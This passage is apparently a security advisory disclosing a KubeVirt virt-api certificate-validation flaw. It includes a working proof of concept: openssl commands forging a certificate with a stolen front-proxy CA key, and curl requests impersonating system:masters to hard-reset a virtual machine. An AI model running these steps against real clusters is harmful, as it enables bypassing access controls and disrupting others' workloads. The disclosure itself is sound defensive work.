Details
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JPwzd6yDCMUuZQ==
-----END CERTIFICATE-----
requestheader-allowed-names:
----
["front-proxy-client"]
BinaryData
====
Events: <none>
It is assumed that an attacker has obtained access to a Kubernetes pod and could communicate with `virt-api` reachable at `10.244.0.6`.
```bash
root@compromised-pod:~$ curl -ks https://10.244.0.6:8443/ | jq .
{
"paths": [
"/apis",
"/openapi/v2",
"/apis/subresources.kubevirt.io",
"/apis/subresources.kubevirt.io/v1",
"/apis/subresources.kubevirt.io",
"/apis/subresources.kubevirt.io/v1alpha3"
]
}
The virt-api service has two types of endpoints -- authenticated and non-authenticated:
// pkg/authorizer/authorizer.go
var noAuthEndpoints = map[string]struct{}{
"/": {},
"/apis": {},
"/healthz": {},
"/openapi/v2": {},
// Although KubeVirt does not publish v3, Kubernetes aggregator controller will
// handle v2 to v3 (lossy) conversion if KubeVirt returns 404 on this endpoint
"/openapi/v3": {},
// The endpoints with just the version are needed for api aggregation discovery
// Test with e.g. kubectl get --raw /apis/subresources.kubevirt.io/v1
"/apis/subresources.kubevirt.io/v1": {},
"/apis/subresources.kubevirt.io/v1/version": {},
"/apis/subresources.kubevirt.io/v1/guestfs": {},
"/apis/subresources.kubevirt.io/v1/healthz": {},
"/apis/subresources.kubevirt.io/v1alpha3": {},
"/apis/subresources.kubevirt.io/v1alpha3/version": {},
"/apis/subresources.kubevirt.io/v1alpha3/guestfs": {},
"/apis/subresources.kubevirt.io/v1alpha3/healthz": {},
// the profiler endpoints are blocked by a feature gate
// to restrict the usage to development environments
"/start-profiler": {},
"/stop-profiler": {},
"/dump-profiler": {},
"/apis/subresources.kubevirt.io/v1/start-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1/stop-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1/dump-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/start-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/stop-cluster-profiler": {},
"/apis/subresources.kubevirt.io/v1alpha3/dump-cluster-profiler": {},
}
Each endpoint which is not in this list is considered an authenticated endpoint and requires a valid client certificate to be presented by the caller.
# trying to reach an API endpoint not in the above list would require client authentication
attacker@compromised-pod:~$ curl -ks https://10.244.0.6:8443/v1
request is not authenticated
To illustrate the vulnerability and attack scenario, below is generated a certificate signed by the front-proxy-ca but issued to an entity which is different than front-proxy-client (i.e the certificate has a different CN). Later on, it is assumed that the attacker has obtained access to the certificate bundle:
attacker@compromised-pod:~$ openssl ecparam -genkey -name prime256v1 -noout -out rogue-front-proxy.key
attacker@compromised-pod:~$ openssl req -new -key rogue-front-proxy.key -out rogue-front-proxy.csr -subj "/CN=crypt0n1t3/O=Quarkslab/C=Fr"
attacker@compromised-pod:~$ openssl x509 -req -in rogue-front-proxy.csr -CA front-proxy-ca.crt -CAkey front-proxy-ca.key -CAcreateserial -out
rogue-front-proxy.crt -days 365
The authentication will now succeed:
attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key https://10.244.0.6:8443/v1
a valid user header is required for authorization
To fully exploit the vulnerability, the attacker must also provide valid authentication HTTP headers:
attacker@compromised-pod:~$ curl -ks --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User:system:kube-aggregator' -H '
X-Remote-Group: system:masters' https://10.244.0.6:8443/v1
unknown api endpoint: /subresource.kubevirt.io/v1
The virt-api is a sub-resource extension server - it handles only requests for specific resources and sub-resources (requests having URIs prefixed with /apis/subresources.kubevirt.io/v1/). In reality, most of the requests that it accepts are actually executed by the virt-handler component and are related to the lifecycle of a VM.
Hence, virt-handler's API can be seen as aggregated within virt-api's API which in turn transforms it into a proxy.
The endpoints which are handled by virt-api are listed in the Swagger definitions available on GitHub @openapi-spec.
Resetting a Virtual Machine Instance
Consider the following deployed VirtualMachineInstance (VMI) within the default namespace:
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
namespace: default
name: mishandling-common-name-in-certificate-default
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
An attacker with a stolen external authentication proxy certificate could easily reset (hard reboot), freeze, or remove volumes from the virtual machine.
root@compromised-pod:~$ curl -ki --cert rogue-front-proxy.crt --key rogue-front-proxy.key -H 'X-Remote-User: system:kube-aggregator' -H 'X-Remote-Group: system:masters' https://10.244.0.6:8443/apis/subresources.kubevirt.io/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-default/reset -XPUT
HTTP/1.1 200 OK
Date: Sun, 18 May 2025 16:43:26 GMT
Content-Length: 0
Impact
_What kind of vulnerability is it? Who is impacted?_
The virt-api component may allow an attacker to bypass existing RBAC controls by directly communicating with the aggregated API server, impersonating the Kubernetes API server and its aggregator component.